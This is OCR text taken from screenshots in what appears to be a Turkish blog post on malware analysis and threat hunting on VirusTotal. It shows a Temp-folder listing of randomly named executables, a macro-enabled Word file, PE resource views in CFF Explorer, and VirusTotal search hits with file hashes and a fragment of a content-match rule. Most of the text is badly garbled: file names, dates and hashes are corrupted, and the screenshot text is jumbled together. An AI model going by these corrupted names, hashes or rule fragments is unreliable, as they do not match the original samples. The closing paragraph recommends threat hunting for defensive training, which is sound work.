[ Pictures (] I¥IRa6.ico 13012019 2228 || | General | Fie Hashes | Securiy | Detais | Previous Versions|
B Videos € IVIRab.exe 13.01.2019 22:28
Property Value &
| EFXEi6.ico 13.01.2019 21:42 ey
- ; Description
M Computer € EFXEiB.exe 13.01.2019 21:42 Tl
X e
& Local Disk (C) c Pwebk3.exe 13.01.2019 21:42 Subject
[] PweSk3.ico 13.01.2019 21:42 o =
€ Network || G3Higb.ico 13.01.2019 21:42 Categories
(3 G3High.exe 13.01.2019 21:42 Comments
|| {EBB9T1A3-A4A3-4ABF-ABS0-69C2B48AC.., 13.01.2019 21:39 Qrigin
€ zGwHqQ.ere 13012019 21:31
[ ] z6wHqQiico 13.01.2019 21:31 Lastsavedby  WinServer
€ TZFVCjexe 13.01.2019 21:31 Ao
1 Version number
el 12N Caco iR AT Program name  Microsoft Office Word
€ UKt .exe 13.01.2019 21:31 G
|| uKf9th.ico 13.01.2019 21:31 Manager
€ 4FefvB.exe 13.01.2019 21:30 Content created  31.03.2018 00:13
[ Cdxaxml 13.01.201917:07 Date last saved  19.05.2018 01:16
| AdobeARM.Iog 13.01.201912:45 Lo=waned,
Total editing time  22:23:00 2
. AdobeARM_Motlocked.log 05.01.2019 21:31
£ dd veredist amd64_20190105212054 log ~ 05.01.2019 21:30 Remove Propetties and Personial Information
=] au-descriptor-1.8.0_191-b12.xml 05.01.2019 21:19 7
[ jusched.log 05.01.2019 21:19 (oK J[ Gancel ]| sepy
|| dd_veredist_amdG4_20190105211043.log 050712019 21111 e —
| dd_veredist_amd64_20190105211103.log 05.01.2019 21:11 Text Document 14 KB




L v Mert » AppData » Local » Temp »

Organize * Open Share with + New folder
S Favorites MName Date modified Type Size
B Deskiop @ t9Ff.docm 21.01.2019 20:57 Microsoft Word M... 26 KB
& Downloads [ ~Scachel.exe 21.01.2019 20:57 Application 11 KB
4 Recent Places || {D450B6A4-09D7-4DAS-B2DA-03CBOR4F...  21.01.2019 20:56 DAT File 0KB
| bgwOsM.ice 13.01.2019 22:28 Icon 0KB
) Libraries € 65gwOsM.exe 13.01.2019 22:28 Application 39.682 KB
Documents || ¥hqRQy.ico 13.01.2019 22:28 Icon 0 KB
Music XhqRQy. JEROF ¢
< @ xnqRQy.exe ' CFF Explorer VI - [6gwOsN.exe] -
[E5] Pictures | I¥IRa6.ico 13.01.4 —
File Setti &
H Videos € IVIRab.exe 12013 e nE
(] EFXE.ico Bod| & E’- @ 6gwOsN.exe
18 Computer ¢ EFXEib.exe 13014 - Resource Directory
ﬁ Local Disk (C3) c PweSka.exe 13014 =] Eﬁle: BogwOsN exe [=l-Resource Directory Entry 1, ID: 2, AKA: Bitmaps
L (3 Dos Header Resource Directory
| PweSk3.ico 13.014 & M Heoders esource Directory Entry 2, ID: 3, AKA: Icons
€ Network || G3Higb.ico 13.014 3 Fie Header { E-Resource Directory
£ [=-Resource Directory Entry 3, ID: 10, AKA: RCData
€ G3Higb.exe 13.01 [ Optional Header
z, i 5 [=l-Resource Directory
|7 {E86971A3-A4A3-4ABF-AB50-69C2B4EAC... 13.01d) 2] Data Directories ]
@ GuHaQee vod|[— [Elbsmnn Headers [ Resource Directory Entry 2, Name:
[ 26whaQ 10d 5= Import Directory Resource Directory Entry 3, Name: KD
s 14| — (& Resource Directory Resource Directory Entry 4, Name: TK
€ TZVGexe 13013/ — [ Relocation Directory Resource Directory Entry 5, Name: TMAINFORM
| ] TZfVCjico 13004l — EDTLS Directory Resource Directory Entry 6, Name: VR
c UK. exe ol — ‘!!,Adrias Converter Res.uurce Directory Entry 7, Mame: WO
i | — A, Dependency Walker —-Resource Directory Entry 4, ID: 14, AKA: Icon Groups
|| uKfthiico 13.01.4 . Hex Editor [=)-Resource Directory
@ dFefi.ene 130048 , Identifier =+ Resource Directary Entry 1, Name: MAINICON
=] CdXaxml 13004  Import Adder - Resource Directory
, Quick Dizassembler [=-Resource Directory Entry 5, ID: 16, AKA: Version Info
] AdobeARM.log 13‘011 | . Rebuilder Resource Directory
| AdobeARM_Notlocked.log 0s.0148 | %R Editor
|| dd_veredist_amd64_20190105212954.log 050148 L— %UPX Ukility
2] au-descriptor-1.8.0_191-b12.20ml 05.01. 4
B jusched.log oso1dl Member Offset Size Value
| dd_veredist_amd64_20190105211043.log 03014 Mame 000822A8 Dword 80000302
|| dd_veredist_amd&4_20190105211103.log 05.01.4% OffsetToData 000822AC 80000100
A emendice e €A IAOAIAEIIIAES Lam AE A1
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E content:{4142766 051436 44744}
T 17 166
I Q VT Search e @
ABvgjdfL+hpQCgCT42vdO
1b:
@ VT Clustering 1 788499 277cAb587cT24 6m4GD
[ veredstsesene 53168
cexe
& v =i
b5b1 13f8e9647ca 24a6bat7efcd1d5abst
[] NoPa7-Ke3tesson-nenexe 49 164
pesie @
124
[] Tseotexe 31168
pesie @
be99Bc5H19e6ebb2b088b34b 11196:
[ wzee 28166
pesie @
77289a33d3ee05e7a78eTe5hTe479041211527666a 14cc8827 2237 26 1bbf307
[]  chromehelperexe 19 168
s 0@
@4defb0eca3fed4290e01930d1be051403a074af090b2d534Taabi24720927ac
[[]  ExiremeTeam & LifeTeamGuard Exploit Programmer V1.exe 48 169
@
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O 44 167
e ©@
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O 22166
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Sonuca gelecek olursam, kurum olarak VirusTotal lUzerinde tehdit avina cikarak

hem kurumunuza gerceklestirilmesi planlanan siber saldirilardan, sosyal

mihendislik saldirilarindan haberdar olabilir hem de analistlerinizin tehdit

avli ile tespit ettigi O6rnekleri analiz etmelerini saglayarak zararli yazilimi

analizi konusunda yetkinlik kazanmalarini saglayabilirsiniz.

Bir sonraki yazida gorismek dilegiyle herkese glvenli glinler dilerim.



